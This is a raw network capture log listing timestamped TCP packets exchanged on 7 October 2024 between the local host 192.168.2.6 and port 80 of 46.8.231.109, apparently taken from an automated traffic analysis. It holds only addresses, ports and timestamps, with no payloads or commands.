Oct 7, 2024 18:00:29.343270063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343286991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343286991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343432903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343559980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343632936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343645096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343655109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343666077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343672991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343677998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343696117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343720913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343745947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343756914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343769073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343780041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343780041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343790054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343801022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343808889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343811989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343817949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343822956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343833923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343838930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343843937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343854904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343858004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343866110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343883038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343883991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343894005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343905926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343909979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343921900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343924999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343933105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343944073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343950033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343955040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343961000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343966961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343971014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343971968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343981028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343986988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343987942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343992949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344002962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344008923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344013929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344024897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344036102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344038010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344048977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344053984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344059944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344069958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344095945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344178915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344475985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344516039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344527006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344537020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344547987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344552994 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344558954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344568014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344569921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344587088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344594002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344598055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344608068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344619036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344619036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344630003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344635010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344640017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344650030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344650984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344661951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344671965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344675064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344682932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344702005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344718933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344917059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344928026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344938993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344944954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344954967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.344955921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344965935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344976902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344985962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.344995975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345006943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345012903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345017910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345027924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345038891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345042944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345056057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345061064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345065117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345082998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345089912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345094919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345104933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345108032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345117092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345118046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345128059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345135927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345139027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345149040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345150948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345161915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345171928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345177889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345184088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345195055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345202923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345206022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345216036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345218897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345226049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345235109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345236063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345247984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345257998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345258951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345268965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345278978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345285892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345288992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345303059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345304966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345319033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345343113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345597982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345643997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345654964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345665932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345676899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345680952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345686913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345698118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345699072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345727921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345792055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345803022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345813036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345823050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345823050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345834017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345844030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345853090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345854044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345864058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345874071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345880032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345885038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345896959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345904112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345913887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345921993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345942020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345949888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345952034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345962048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345968962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345978975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345988035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.345994949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.345999002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346009016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346014023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346021891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346024036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346035004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346035957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346046925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346052885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346056938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346066952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346067905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346077919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346087933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346096992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346097946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346108913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346120119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346127033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346141100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346164942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346204042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346458912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346468925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.346502066 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.346899033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.347932100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.484843016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.489876986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654000044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654055119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654066086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654102087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654114962 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654125929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654126883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654135942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654146910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654172897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654191017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654295921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654306889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654316902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654335022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654341936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654354095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.654361963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.654388905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.657850981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.657903910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.657932997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.657943964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.657964945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.657983065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.658330917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.658341885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.658364058 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.658380985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738522053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738667965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738744020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738754988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738765955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738776922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738782883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738787889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738799095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738814116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738854885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738873959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738884926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738898039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738910913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738914967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.738939047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738964081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.738995075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739006042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739017010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739027023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739037037 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739037037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739049911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739068985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739084959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739108086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739119053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739130020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739140034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739161015 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739175081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739345074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739379883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739420891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739458084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739509106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739520073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739542961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739553928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739554882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739573956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739598036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739624977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739649057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739660025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739660978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739669085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.739681005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.739708900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.785228968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.785310030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.785322905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.785334110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.785361052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.785392046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.785779953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.785830021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818587065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818602085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818613052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818620920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818627119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818636894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818648100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818659067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818670988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818689108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818721056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818753958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818761110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818772078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818804979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818819046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818820000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818830967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818845034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818860054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818871975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.818877935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.818912029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819206953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819217920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819242001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819252014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819253922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819262981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819264889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819281101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819287062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819292068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819307089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819315910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819318056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819329023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819329977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.819354057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.819360018 CEST	49718	80	192.168.2.6	46.8.231.109
